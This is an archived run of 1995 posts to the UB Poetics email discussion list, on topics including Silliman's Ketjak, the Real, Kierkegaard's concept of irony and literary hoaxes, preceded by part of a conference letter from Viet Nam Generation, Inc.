As usual, we are doing all this work on a shoestring. Viet Nam Generation, Inc., is a literary and educational nonprofit which cannot yet afford to salary its staff. This conference has been supported entirely by volunteer efforts, the registration fees of participants and by our book sales. The facilities are generously provided by Western Connecticut State University. We know that many conferences can afford to waive fees for those presenting papers, but we cannot. We do waive fees for those who would not otherwise be able to participate, and we do our best to find alternative housing for those who cannot afford hotel rooms. We're committed to the notion that no one should be turned away for lack of funds. To meet this goal we rely on support from those who do have funds-faculty members or others with full-time positions and decent incomes. In fact, we encourage you, if you can afford it, to pay an extra registration fee to cover someone else with fewer resources.

We also encourage you to subscribe to our journal, Viet Nam Generation, a forum for interdisciplinary written work on the war. We publish many of the Sixties Generations Conference papers in the pages of the journal, which is now entering its seventh volume year. Your support enables us to continue our efforts.

Part of our philosophy is that we do not rank those who attend the Sixties Generations Conference-there are no "stars" here; we don't even put your institution on your name tag. We have no "keynote" speakers or "special" sessions. Those who attend don't do it for their c.v. They do it-and we do it-because the work we all do is vital, because we believe in an alternative to the rest of the deadly dull gatherings which pass for conferences in academia, and because we are dedicated to building a community of scholars, activists, and artists who can support each other in our work.

I look forward to seeing you in October.

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]
home page: http://kalital.polisci.yale.edu

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383. cris cheek
a genuine alt.fan.silliman for Ketjak
Fri 19 May 1995

I've been borrowing Ron Silliman's Ketjak from Cris Cheek (ah poetry as contraband, I'm sending this message from Cris' account because I'm handing

the book back personally, in best hand-delivered condition) and *adoring* it. I'd already read Tjanting, What and Paradise with great pleasure and stimulation, but Ketjak is mindblowing, elegant in design, perfect in minute detail. So, cutting to the chase, could anyone sell me or swap me a copy? In return for the effort, here is a brainteaser: is there one (the only one I could find) proof-reading error in the following sentence, or is there some lyricism sneaking in....:

"When Zukofsky debuted Reich's Violin Phase on the west coat, the first person to stomp out was Mario Savio" (Ketjak, p.21)

For anyone who doesn't know, sentences from earlier paragraphs nearly always get repeated (sometimes fascinatingly revised) in later paragraphs in the book. In this case, the sentence appears without the possible typo, only as

"The first person to stomp out, when Zukofsky debuted Reich's Violin Phase in the west, was Mario Savio" (p40).

Was this use of the word coat "for" coast" especially put in, as a deliberate apparent mistake, for the attentive to notice?

Anyone have a copy, though?

Ira
[redacted]
48 Gloucester Street
Norwich NR2 2DX

↑ Index

384. cris cheek
more on Ketjak
Fri 19 May 1995

I'm back at Cris Cheek's terminal, with a few more words about Ketjak, which I've now read through to the end - apologies if anyone's posted about it since I last posted, I don't know how to retrieve new mail on this machine! Just noting a few more features of this wonderful book.

First, I saw another possible typo reading today in Cris' car, but didn't have a pen (it was around p.55-60), thought I'd marked the page with a train ticket, but now can't find the typo. However the page I'd marked I had to re-read thoroughly, and only by this aleatoric reading accident did I discover the occurrence of the sentence "Revolving door" in *mid-paragraph*, on p.61. As even cursory readers of Ketjak will know, "revolving door" is the sentence that usually begins each paragraph of the book - yet this means that the book rebels against its own system and again tests the alertness of the reader. Moreover,

two big sentences recur *within* the last paragraph, even after this occurrence of the "revolving door" sentence, thus breaking the system of having sentences recur *once* from paragraph to paragraph, ie breaking the parallelism of paragraphs or indeed the pattern that makes a paragrah a paragraph eg "let a paragraph, in Ketjak, be a collection of sentences that includes one of each of the sentences of a previous paragraph, sometimes reworked, plus new sentences new to the book so far"; this rule is also broken early, as not all the sentences from an earlier paragraph recur in the next paragraph every time.

Oh, the big sentences that recur within the last paragraph, after, as far as I've noticed the last (buried) incidence of the sentence "revolving door" are:

"Dark brown houseboats beached at the point of low tide - men atop their cabin roofs, idle, play a dobro, a jaw's harp, a 12 string guitar - only to float again when the sunset is reflected in the water of Richardson bay" (p.63)

"Dark brown houseboats beached at the point of low tide - men atop their cabin roofs, shirtless and in overalls, idle, play a dobro, a jaw's harp, a 12 string guitar - only to float again when the sun is reflected in Richardson bay" (p.68)

AND

"We stopped for hot chocolate topped with whipped cream and to discuss the Sicilian Defense" (p.63)

"We stopped for hot chocolate topped with whipped cream, and to discuss the Sicilian Defense" (p.72)

I also really like the way that the paragraphs don't expand uniformly, they sometimes contract, as do the sentences that recur. I also like the way that the system is broken sometimes by making the base not only number/formalism, but also, more "conventionally", imagism and poetry of place. One of the first sentences to appear is, for example, "fountains of the financial district" and then "fountains of the financial district spout"; this then gets returned to not always as a *sentence* but as a *description*; there are later sentences where is described someone passing a fountain, or through a financial district, just as there are many different sentences describing refuse collectors and coastal Bay Area scenes. In other words there isn't the initially likely-looking structure of "let a paragraph of Ketjak only include sentences that do not add together at all as a description of a scene", which Ron brilliantly argues is an automatism and fetish on the part of most idle paragraph and sentence makers, in _The New Sentence_, which must be resolutely avoided in order to draw attention to its omnipresence; in Ketjak, Ron both does draw attention to the sentence and the paragraph, but does also "lapse", which is tinglingly exciting, like a moment of melody in the middle of a free improvisation! Not purist or systematic-to-the-point-of-missing-an-opportunity.

"Stood there broke and rapidly becoming hungry, staring at nickels and pennies at the fountain's bottom." (p.58)

"We walked through the financial district at midnight, the street deep between these buildings , a film crew working down an alley, artificial twilights, pausing as we passed to stare at great tapestries in bank lobbies" (p.59)

"The fountain forms a geometry of the particular, five waterfalls, six spouts, all of which arrive in the general pool" (p.66)

"I sat atop the fountain, which, at midnight, was shut off, all concrete and still pools of water" (p.87)

"The tenor sax is a toy" (p.60 and throughout)

"The tenor sax is a phallus or cross" (p.92 - penultimate page in the book - pathos in concluding moment of Silliman book, read linearly, scandal! NOT!)

I don't want to detract from the incredible abstract skill with the sentence per se in Ketjak, trying out everything, trying out wonderful sonic patterns and artificial hilarious rhymes - it is moment by moment really fulfilling to read, for versatility and for detail of observation - Sorry to write a rave review twenty years after composition date and seventeen after publication date, but I just wanted to supplement my endorsement of the (I think, affectionate) recent Alt.fan.silliman adventure with some detailed appreciation - and also to demonstrate the qualities of a work that is formal and experimental but also human and non-programmatic - to show what I think is the unbudgeable and unignorable sea-change that stereotyping and ignoring the actual works of "Language Writers" (as, as I've said - and now got into trouble for in Cambridge and London [people have blanked or eyeballed me at events] - , avant-garde British poetry is doing) ignores, making for ignorance.

Ira Lightman

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385. **kathryne**
Re: really Real
Fri 19 May 1995

Marxisms proliferate, due in part to the fact that Marx had a great deal to offer many interpretive machines. THere is no one Marxism, and, indeed, reading Marx's American essays recently, I can say again that thre might well--as with most of us?--be more than one Marx.

The question of the never-achieved "dictatorship of the proletariat" is a different kettle of fish. The recent arguments, about to turn bloody as soon as Jameson's book on Derrida comes out, about spectres of Marx and

COMMUNISM (site specfic to Eastern Europe, mostly) seem a kind of prosthesis for more direct and current engagement.

I don't guess this is at all a response to the post to which it is attached. But I feel a bit steamed by our present (inter) national spiral into meanness and reaction, and dead guys like Marx can only help a bit more than vain arguments over which Marxism is correct//WAS possible.

Still, one lives, in a sense by engaging the fight indirectly, poetically. By the way, I hear that all of Whitman's recently discovered notebooks are available on-line. I hear the spectre of Pound screaming for joy. Oh, my, there are ghosts--and there are ghosts--dancing spectrally in this machine.

↑ Index

386. Jorge Guitart
no leo mas
Fri 19 May 1995

---

after sampling recent mail (having been away for a while) i have decided to delete without reading any further messages that show on the Subject line the words Really, Real, Andy, Martha, or Stewart, or any combinations of those words, in the conviction that i will not be missing anything relevant, entertaining, or important.

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387. Aldon L. Nielsen
Re: hoax spectral
Fri 19 May 1995

Gary -- don't have any of the info. here at the moment, but there was a book about "The Spectra Hoax" pub'd some decades ago that lingers in many libraries; I seem to remember Yvor Winters or folk of his ilk being involved -- at any rate, it was a parody of modernist movements that, like many such parodies, turned out to be be far more interesting as a phenomenon than anything else the poets involved ever did -- several "fake" spectrists were created, and their poems appeared in a number of mags & newspapers before the ruse was revealed --

↑ Index

388. **maria damon**
Re: Yo, Ed
Fri 19 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> na,
> words
> qua
> train

blue
note,
thought-
trains

↑ Index

389. **Edward Foster**
Re: Yo, Ed
Fri 19 May 1995

---

na,
words
qua
train

↑ Index

390. **Edward Foster**
Re: Yo, Ed
Fri 19 May 1995

---

depends on the number of fingers you're counting with.

↑ Index

391. **Jim Pangborn**
Re: really Real Andy
Fri 19 May 1995

---

re: Marvelous Martha, really--

Her teevee show and magazine are titled "Martha Stewart Living"; the "content" is anything from cooking to home furnishing to gardening, including lots of tips on how to put an old-money veneer on a nouveau- bourgeois (there--I said it) lifestyle. Tag line: "It's a *good* thing."

She's easy to despise, except that a lot of those things *are* good, as such things go. The latest mag features a troutfishing camping trip into the wilds of Idaho: pretty pictures, the poop on avoiding hassles with bears, and, of course, recipes for fresh-caught trout, skillet scones, and on and on. Sounds yummy, don't it?

She doesn't come from old money (would someone who did go on TV with it?), more or less inventing herself and her gig as she's gone along, a Horatio Alger story for our time. Impressive, my research on this topic, eh? Actually my wife subscribes.

--Jim

↑ Index

392. **Tom Mandel**
Hank's 4 poems
Fri 19 May 1995

... which I read and enjoyed a lot and then forgot to report that back to you, Hank, and to you, Oh List. good goin'

Tom Mandel

↑ Index

393. **Tom Mandel**
mail by the megabyte?
Fri 19 May 1995

I left the bay area a year or so before the internet craze hit, but I'd have to agree that paying for mail is pretty unusual. Dunno who "sirius.com" is, but there has to be a better way than that. You can get a list of access providers from pdial (let me know; I'll send you the email address -- or maybe somewhere here can supply it in the meantime).

Tom Mandel

↑ Index

394. **Herb Levy**
Re: mail by the megabyte?
Fri 19 May 1995

On Fri, 19 May 1995, Tom Mandel wrote:

> I left the bay area a year or so before the internet craze hit, but
> I'd have to agree that paying for mail is pretty unusual. Dunno
> who "sirius.com" is, but there has to be a better way than that.

> You can get a list of access providers from pdial (let me know;
> I'll send you the email address -- or maybe somewhere here can
> supply it in the meantime).
>
> Tom Mandel
>

Two places I know of to get a list of dial-up services are as follows:

Internic (because of their address structure I assume they have some information for providers outside the US)

<ftp://is/internic.net/infoguide/getting-connected/united-states/internic-us-provider-all>

or via web

<http://www.internic.net/internic/provider.html>

or you can try

Providers of Commercial Internet Access (POCIA) (I don't know if they have info about providers outside the US.)

<ftp://ftp.teleport.com/vendors/cci/pocia/pocia.txt>

or via web

<http://www.teleport.com/~cci>

or for e-mail, you can send a <blank message> to

<[redacted]>

Both of these lists are organized by telephone area code and include some information about rates, etc. for most providers in most areas. There are cheap providers in most areas, but you often get what you pay for.

I won't go into the problems with my provider, <eskimo.com> which I assume operates from someone's closet in a suburb north of Seattle. I'll just say that it is _ridiculously_ cheap.

I hope the above addresses are useful to anyone looking for cheaper and/or better on-line service.

Bests,

Herb

↑ Index

395. **Loss Glazier**
Re: one big tease
Fri 19 May 1995

> *Maybe Tom could "back channel" us who want to read the whole thing.*

Or contact me and see what we might put up at the EPC!

Loss

↑ Index

396. **Sheila E. Murphy**
Re: martha
Fri 19 May 1995

If I'm mot mistaken, Martha Stewart appears on the cover of the current NEW YORK magazine, with the caption "She's Martha Stewart and you're not." Or did I dream this?

↑ Index

397. **Carl Lynden Peters**
Re: really Real Andy
Fri 19 May 1995

>
> what the hell, why not ask it all, while we're at it. Not just
> is there such a thing as a great work of art, why not is there
> scuh a thing as *a* great work of art. Can it be removed
> from the anxiety of influence (get a load of my dimples)
>
--duchamp said it's all art. like emotions. good emotion, bad emotion.
good art, bad. it's art

carl

↑ Index

398. **Jeffrey Timmons**
Re: irony and the Really real
Fri 19 May 1995

On Thu, 18 May 1995, John Byrum wrote:

> *I agree that simulated experiences are as "real" as "real" experiences. We could also agree that our "real" experiences are "simulated"; i.e., "simulations" of events in some sense "external" to our "experience". This*

> *is getting deep into the intertwining convolutions of epistemology & ontology & definitions of terms, though.*

Yes, and rather confusing too. I'm interested--as if it hadn't already been said--in how the real comes to be a sublime category of experience or, rather, of roping off of experience as unmediated by . . . ideology or other means of perceiving or creating experience. I've been reading Judith Butler's Bodies That Matter recently and am intrigued at her claim that sex is enunciated and culturally produced--and not essential or biological. That producing sexual difference is a way of maintaining social order. I'm reducing . . . . But what is interesting is how the real is produced as somehow outside of cultural production--much as Butler suggests sex is--when it is as mediated as any other thing. Consequently, as John suggests, epistemologically and ontologically these categories--the real and the simulated--come to stand in the place of each other (it gets confusing, I know).

Jeffrey Timmons

↑ Index

399. Tom Mandel
Re: one big tease
Fri 19 May 1995

I'll ask Dan what he might want to do abt putting AS online.

Tom Mandel

↑ Index

400. John Byrum
Re: Rauschenberg
Sat 20 May 1995

Ron's recent post:

> *Rauschenberg has always struck me as somebody who included >the "pretty" in his work just in case you didn't like the ideas. But over time neither wear that well.*

Ron,

Rauschenberg couldn't really paint very well (& he certainly couldn't draw in any academic sense), which may be one reason among many that he took to assembling junk and then silkscreening all sorts of photos. But in his earlier years he could slather a blob of paint so exquisitely on a piece of canvas that it meant nothing & everything. Those paint dithers evoke (for me at least) nothing but the paint, send-ups of ab-ex pieties, assisted readymades (i.e., he MUST have just found them somewhere), randomness of the non-human, &

both inspired and purposeless play, all at once. No one else has managed such blank/full soulfulness in paint smears.

In his later years, of course, his quick laying-on of paint fields among the silkscreens came to look pretty lame.

John

↑ Index

401. **Steve Carll**

Re: irony and the Really real

Sat 20 May 1995

Jeffrey Timmons writes:

> *On Thu, 18 May 1995, John Byrum wrote:*
>
> *I agree that simulated experiences are as "real" as "real" experiences. We could also agree that our "real" experiences are "simulated"; i.e., "simulations" of events in some sense "external" to our "experience". This is getting deep into the intertwining convolutions of epistemology & ontology & definitions of terms, though.*
>
> *Yes, and rather confusing too. I'm interested--as if it hadn't already been said--in how the real comes to be a sublime category of experience or, rather, of roping off of experience as unmediated by . . . ideology or other means of perceiving or creating experience. I've been reading Judith Butler's Bodies That Matter recently and am intrigued at her claim that sex is enunciated and culturally produced--and not essential or biological. That producing sexual difference is a way of maintaining social order. I'm reducing . . . . But what is interesting is how the real is produced as somehow outside of cultural production--much as Butler suggests sex is--when it is as mediated as any other thing. Consequently, as John suggests, epistemologically and ontologically these categories--the real and the simulated--come to stand in the place of each other (it gets confusing, I know).*

Butler's claim reminds me of Foucault's, that "we must not place sex on the side of reality and sexuality on the side of confused ideas and illusions...against the machinery of sexuality the strong point of the counter-attack should not be sex-desire, but the body and its pleasures" (History of Sexuality Vol. 1, 157).

Steve Carll

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402. Steve Carll
Actually actual?
Sat 20 May 1995

It might be fruitful to think back to the roots of "real" in the Latin *res*, or "things". Now I know Silliman doesn't trust etymology, but I feel that traces of the original "readings" of words still lurk in the (back)ground of a historical word's meaning as much as the more current readings and misreadings of it. Hiedegger points out in view of this origin that the real is the set of properties which belong to res, to a thing, whether or not the thing actually exists. Reality and actuality are thus not necessarily the same.

I think of reality as being the way actuality is constructed for us, or expressed by and through us. The real *as* the actual is that highly elusive space that Andrew and Dodie have been speaking of, but (I have to hope) every reality opens out into actuality someplace.

The relation of poetry to the real could be seen then as an attempt to a) mirror, b)create, c)transform the actual by means of the real. The poem establishes some kind of reality which, with varying degrees of "success", holds open that opening in the reality in which it finds itself, so that the actual can be beheld.

Also--to Jeffrey Timmons--it might be said here that the real is already a kind of simulation of the actual (unfortunately, since this assertion is so abstract, anything could be an example of it, and every example could be challenged.)

Steve

↑ Index

403. John Byrum
Re: next steps after art
Sat 20 May 1995

Carl writes in a recent message:

--duchamp said it's all art. like emotions. good emotion, bad emotion. good art, bad. it's art

carl

Has anyone read Suzi Gablik's The Re-Enchantment of Art?

What comes after art? What might art evolve into?

Perhaps all our involvements, all our experiences, multiply feeding into the continuous flow of our lives... a continuously heightened awareness..?.. what forms would this take, what could we become?

John

↑ Index

404. John Byrum
Re: irony and the Really real
Sat 20 May 1995

Jeffrey, in your last message you concluded with:

...But what is interesting is how the real is produced as somehow outside of cultural production--much as Butler suggests sex is--when it is as mediated as any other thing. Consequently, as John suggests, epistemologically and ontologically these categories--the real and the simulated--come to stand in the place of each other (it gets confusing, I know).

Jeffrey Timmons

Jeff:

Perhaps our notion of the Real descends from ancient fears about what lurks outside the campfires and later the walls of the compound... danger.

John

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405. Susan Clark
... for Dodie B.
Sat 20 May 1995

Dodie,

Could you please send me your email address. Here comes that phone call.

... and others who may have peeked at this "private correspondence," wouldn't it be wonderful if everyone signed their notes with email addresses so we could talk about things irrelevant to the list backchannel?

Apologies for taking up your boxes' spaces in this instance, all.

Susan Clark
[redacted]

↑ Index

406. Kevin Killian
Re: mail by the megabyte?
Sat 20 May 1995

Ron, Tom, Herb,

Thanks for your concern over my access provider situation, but really, really, do you think this is a suitable topic for the poetics listserv? I must say I feel somewhat patronized here, would have felt less so if you'd each written to me backchannel.

Honestly, guys, I'm capable of handling my internet situation. My other listserv, Women On-Line, gives me lots of support in treading the male dominated waters of the net. They say, by the way, the figures have changed for 9 to 1 to 2 to 1, as far as the male/female percentages go.

I pay $15 a month for unlimited access and sadistic customer service at Sirius- and 1mb e-mail. I could camp out on this thing if I wanted to. Actually, last month I know I went over the 1-mb limit and they didn't charge me extra. Plus you get to go to coffee parties in the Haight with other Sirius customers.

The Women's On-Line listserv is having a brunch in Mountain View soon. Why don't the members of the poetics listserv ever get together and eat? I visualize a memo tacked on a bulletin board at the Blaser Conference. POETICS LISTSERV BREAKFAST.

Doesn't it make your mouth water?

Dodie

↑ Index

407. **maria damon**
Re: Actually actual?
Sat 20 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> It might be fruitful to think back to the roots of "real" in the Latin
> *res*, or "things".

just a random comment --when this msg flashed on my screen, i initially read it as "it might be frightful..."--md

↑ Index

408. **Blair Seagram**
Re: POETICS Digest - 17 May 1995 to 18 May 1995
Sat 20 May 1995

> *I agree that the real can always seem elusive (allusive??), but think that all our experiences must finally be the Real. After all they are all we have, call them what you will.*

Forgive me for editing the comments as I have done . . . . I am intrigued by this discussion of the real, but must insist upon my earlier statement that The Real Can Be Simulated.

.) In his book "The Concept of Irony with Constant Reference to Socrates" Kierkegaard states that irony in its simplest instance is to say the opposite of what is meant. The inner and the outer do not form a harmonious unity, for the external is in opposition to the internal.

Kierkegaard plots three points which describe the beginning, the middle, and the end of the career of irony. The first is its inception in the figure of Socrates. The second is its illusory zenith in the Romantics, from which Hegel coins his dialectic of opposites (i.e. Romantic Irony). This is where I would situate Ortega.* And the third is the point at which irony disappears, having gone through a metamorphosis by way of experience, resulting in self-mastery.

↑ Index

409. Blair Seagram
Re: POETICS Digest - 17 May 1995 to 18 May 1995
Sat 20 May 1995

2.) Published in 1925, Ortega Y Gasset Õs essay called "The Dehumanization of Art" maintains that among other things, modernism tends to " be essentially ironic"

In the section "Doomed to Irony", Ortega continues, "It is not that the content of the work is comical...To look for fiction as fiction, which we have said modern art does, is a proposition that cannot be executed except with one's tongue in one's cheek.. Art is appreciated precisely because it is recognized as farce....Thanks to this suicidal gesture art continues to be art, its self-negation bringing about its preservation and triumph.Ó

Nor is this ironical reflection of art upon itself new as an idea. *In the beginning of the last century a group of German romanticists, under the leadership of the two brothers, Schlegel, pronounced irony the foremost aesthetic category their reasons being much the same as those of our young artists.... Art has no right to exist if, content to reproduce reality, it uselessly duplicates it. Its mission is to conjure up imaginary worlds. That can be done only if the artist repudiates reality and by this act places himself above it. Being an artist means ceasing to take seriously that very serious person we are when we are not an artist."

And finally Ortega maintains that "to the young generation art is a thing of no consequence. I do not mean that the artist makes light of his or her profession, but they are of interest precisely because they are of no transcending importance."

↑ Index

410. **Blair Seagram**

Re: POETICS Digest - 17 May 1995 to 18 May 1995

Sat 20 May 1995

#3) Present in all forms of irony is the understanding that the phenomenon is not the essence, but the opposite of the essence where the essence is defined as the IDEA or thought and phenomenon is defined as the medium and in the case of Socrates the rhetorical word.

If, when I speak, I am conscious that what I say is my meaning, and an adequate expression of my meaning, and if I assume that the person to whom I am speaking understands perfectly what I have said, then I am bound by what I have said. That is, I am positively free. Furthermore, I am bound in relation to myself and cannot detach whenever I wish. This is an identity.

If, on the other hand, what I say is not my meaning or the opposite of my meaning, then I am free both in relation to myself and in relation to others. That is, I am negatively free.

With irony the subject is always seeking to get outside the object and this is done by becoming conscious, at every moment, that the object has no reality. The subject constantly retires from the field and proceeds to talk every phenomenon out of its reality in order to preserve their negative independence of everything.

With doubt, on the other hand, the subject tries to destroy the phenomenon in order to get at the essence. The subject seeks to penetrate the object and the misfortune consists in the fact that the object constantly eludes him or her.

It might be said that doubt is for philosophy what irony is for the personal life. Just as the philosopher claims no true philosophy is possible without doubt, so one may say that no authentic life is possible without irony.

One might think that since irony is conscoius of the fact that reality has no existence, it was a type of religious devotion. In religious devotion the relationship to the world loses its validity, but only insofar as the reality of God asserts absolute reality Irony however, is nothingness. It is a deadly stillness that returns to haunt and jest. If irony is not a type of religious devotion, neither is it a form of hypocrisy, for hypocrisy belongs to the moral shpere and irony to the metaphysical.

↑ Index

411. **Blair Seagram**
Re: POETICS Digest - 17 May 1995 to 18 May 1995
Sat 20 May 1995

4.) Irony in terms of the BIG picture differs in quality from the irony discussed thus far. In this sense irony directs itself against the whole given actuality or essence of a certain time and situation, which has become alien for the ironic subject and lost all validity.

Just as the world spirit throughout every age is within itself, so individuals within an age must follow the actuality which presents itself to them. Hegel remarked: " All dialectic accepts as valid what shall become valid as if it were valid and allows the internal destruction to develop within it. Such is the universal irony of the world. " To a certain extent every world historical turning point must exhibit this formation.

An individual may be world historically justified and at the same time without authority. And just as his or her lack of authority must make them a sacrifice, so the fact that they are historically justified makes them a triumph. That is to say they triumph by becoming a scarifice.

As the new comes forth we meet three types of individuals:

1. The Prophetic Individual.
2. The Tragic Hero.
3. The Ironic Subject.

The prophetic individual does not possess the future but envisages it and imitates it. He or she cannot assert it because they are lost to the time in which they live. The tragic hero fights for the new and endeavors to destroy what for him is vanishing actuality. The ironic suject displaces the old and shows us all its imperfections. For him or her the given actuality, having lost its validity, has become an imperfect form where everything constrains. The ironic subject does not work hand in hand with their age, like the prophet, but rather has advanced beyond it and opened up a front against it. That which shall come is hidden from him or her.

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412. **Blair Seagram**
Re: POETICS Digest - 17 May 1995 to 18 May 1995
Sat 20 May 1995

5.) Just as historical actuality is a criteria in Kierkegaard's concept of irony, so too is actuality for the individual. In so far as the individual remains ironic he or she is negatively free and thus, unassimilated into a larger context and unable

to feel the responsibility of consequences, the ironic subject is unable to fulfil his or her task as an acting individual.

The last stage in the life of irony is when its truth is revealed as the mastered moment. Shakespeare is considered the great master of irony. There is neither too much nor too little, so everything receives its due. Irony is not present at some particular point in the poem, but omnipresent in it, so that visible irony in the poem is ironically mastered. This renders both the poet and the poem free. However, because a poet is successful in mastering irony in the moment of artistic production does not mean he has mastered irony in actuality.

Usually the personal life of an artist does not concern us in regard to his or her work, but in the case of irony it is of some relevance. If an artist steps outside the label of genius, they will become, in some measure a philosopher. In which case their work will not have a mere external relation to him or herself, but rather the artist will see in a particular work, a moment of their own development.

It was in this respect that Goethe's life as a poet was so great. For Goethe irony was, in the strictest sense, a mastered moment, a spirit ministering to the world.

Once it has been mastered, irony undertakes a movement in the opposite direction. It now limits, renders finite, defines and thereby yields truth, actuality and content. Hence if one must warn against irony as a seducer, one must praise it as a guide.

Any question as to the eternal validity of irony can only find its answer through an investigation into the sphere of humor. Humor contains a much deeper skepticism than irony...but humor also contains a much deeper positivity than irony.

Notes on Irony, mainly from Kierkegaard

I had to do this and I promise never to send such a long thing again. By the way I couldn't get a subject line for some reason, so I let it go. Blair

↑ Index

413. Aldon L. Nielsen

Re: Spectra-scope

Sat 20 May 1995

Ed's memory is again better than mine -- It was Whitter Bynner at the heart of the Spectra hoax -- the book I read about the hoax (back at the neighboirhood library when I was in Junior High and libraries could still afford to have books

for kids to read) was complied by Wiiliam Jay Smith (a thorouhly despicable person), who also edited Bynner's complete works some years ago.

Does Jorge really delete mail he suspects of being uninteresting? How dull!

after some tries at composition by erasure and found poetry, I decided to try a different tack. I began attempting to smuggle lines of my own composition into the published works of others. Since I was having such trouble finding anyone to publishe a book of poems under my own name (a trouble I still have) this also got my "work" circualted more rapidly. I started small. First I planted an allusion to my own first chap book inside a prose piece by Juan Felipe Herrera. This now appears on page 16 of his book _Night Train to Tuxtla_, from U of Arizona Press, one hell of a good book with or without my contribution. Emboldened by that success, I went on to write several passages of Toni Morrison's _Playing in the Dark_, my first such spectral best seller. I have on several occasions attempted to smuggle my work inside Joe Ross's poems in progress, but he keeps finding them and editing them out before publication. Who will be my next target???

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414. Gary Sullivan
Re: Blair Seagram's post(s) on irony
Sat 20 May 1995

Dear Blair:

No need to apologize for the length of your post, and I genuinely hope you *break* your promise never to post anything that length again.

I have a question, probably very mundane (covered elsewhere?), about mimesis: isn't structure (or form), by its very nature, "mimetic"? It occurred to me, while reading Ira's wonderful reading of _Ketjak_, that structure (or form, or "frame" even) is the one thing all works of art (including wholly "conceptual" artworks) have in common. No duh, but it struck me for some reason. & then, it immediately struck me that, well, for an artwork to have a structure, doesn't that alone make it "mimetic" of "reality," however (& by whomever) that "real" is structured?

In other words, no work of art, whether actualized or at any point of conception, is "another world." While our ideas of how the world is "structured" vary from age to age & from person-within-an-age to person-within-an-age, the notion of an underlying structure -- whatever differences we might have about the specific attributes -- seems across the board unquestioned/unquestionable. Since the one defining characteristic of "the world" we all might agree on is

that it *is* (however, even randomly) structured -- how can there *be* "another" world?

Yours,

Gary

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415. Jeffrey Timmons
Re: Actually actual?
Sat 20 May 1995

On Sat, 20 May 1995, Steve Carll wrote:

> *I think of reality as being the way actuality is constructed for us, or expressed by and through us.*

Yes, Steve, I agree with your comments, especially as you bring up Foucault in light of Butler, but I would--just for sake of furthering this line of thought--suggest that part of Butler's thesis (and Foucault's, if I am not mistaken) is that we don't simply think but are thought. In your example for instance, actuality is not simply constructed for us, by us, but has the emphasis you suggest when you say it is constructed through us. That is, it thinks us. The real--oops--the ACTUAL thinks us, not necessarily we it. This, of course, is scary. But then again, reading the newspaper the other day when Ralph Reed and his Republican hench-men (The Real?) were out in force was scary too. My point? Perhaps I'll defer to Richard Rorty here and repeat his idea that the real is out there and we have no access to it--all we have is our descriptions of it, descriptions that come and go through time, descriptions that are perceived as better or less suited to accounting for particular phenomena in the world. Poetry--Art (and I'll include science here)--are those areas of imaginative experience where those descriptions are forged. I need to jump over to the Gasset stuff and follow this up . . . .

Jeffrey Timmons

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416. Jeffrey Timmons
Re: irony and the Really real
Sat 20 May 1995

On Sat, 20 May 1995, John Byrum wrote:

> *Perhaps our notion of the Real descends from ancient fears about what lurks outside the campfires and later the walls of the compound... danger.*

Yes, perhaps. And if that were the case then our fears would be a strange conglomeration of real (I feel funny using this word now) and the imagined. I mean, not all the time are fears . . . given validity by their object. Sometimes what lurks out there isn't there. Sometimes it is though. What I find interesting about this sort of observation about experience (real, actual) and the imaginary (fears, creativity) is that there is sense in which one might say that John's fears give rise to the condition of creativity itself. I wonder, though, if this isn't a masculine conception of creativity? That is, perceiving it as developing out of a response to a perceived threat (I'm thinking of Cixous in Castration and Decapitation). Anyway, thanks for the thought, John.

Jeffrey Timmons

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417. Jeffrey Timmons
Re: POETICS Digest - 17 May 1995 to 18 May 1995
Sat 20 May 1995

On Sat, 20 May 1995, Blair Seagram quoted Gasset, I believe, to the effect:

Art has no right to exist if, content to reproduce reality, it uselessly duplicates it. Its mission is to conjure up imaginary worlds. That can be done only if the artist repudiates reality and by this act places himself above it.

This is essentially a modernist postion, one I find a bit too hubristic for my taste. Perhaps I'm missing the overall gist of Blair's posts by latching onto this fragment, but I do so because I am interested in not only how there is a phenomenological desire to explain the world--accompanied by the ironic inability and rejection of being bound to doing so--as well as a desire to "transcend" the world. What I find disturbing is that the first position--which I like--is accompanied in modernist formulations of the function of art by a desire that seems to me to smack of aestheticist withdrawal from the phenomenological (otherwise known here as the real or actual). I want to be able to maintain that sense of irony that remains sceptical about verbal descriptions of the world--and here Rorty's irony is more relevant to my concerns than the modernists Blair alludes to (Gasset)--while being able to maintain contact with the world. I desire not transcendence. I was reading Ashbery's Three Poems the other day and am reminded of a section near the end of the second poem about just this idea--I'll track it down if anyone's interested in how JA handles this dilemma. I am also reminded of Whitman's sentiment in Song of Myself where he says something to the effect of being mad with desire to be in contact with the earth . . . .

Jeffrey Timmons

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418. **Gary Sullivan**
Re: Ira/Cris
Sat 20 May 1995

...or, Cris, were those enthusiastic _Ketjak_ posts you "doing" Ira?

Just finished Michael Heyward's _The Ern Malley Affair_, which Jonathan kindly lent me, & now I'm in a world of doubt.

The book, btw, is incredible, includes trial transcript material -- after Ern Malley was revealed to be a hoax, Max Harris was put on trial for publishing "obscene" or "indecent" work. Harris is forced to do a wonderful close reading of Malley's work while on the witness stand, in which both prosecuting attorney and Harris refer to Malley as tho very real (again, after the hoax had been made public).

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419. **Loss Glazier**
Poet/Artist "Collaboration"
Sat 20 May 1995

I'm interested in recommendations on writings that specifically

address poet/artist *active* collaborations. That is, what would

be called a "true" or active collaboration versus what might be

more of a kind of "mere" illustrations with text.) Can anyone

recommend articles or other works that explore this distinction?

Thanks,

Loss

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420. **maria damon**
Re: Poet/Artist "Collaboration"
Sat 20 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> I'm interested in recommendations on writings that specifically
>
> address poet/artist *active* collaborations. That is, what would
>

> be called a "true" or active collaboration versus what might be
>
> more of a kind of "mere" illustrations with text.) Can anyone
>
> recommend articles or other works that explore this distinction?
>
> Thanks,
>
> Loss

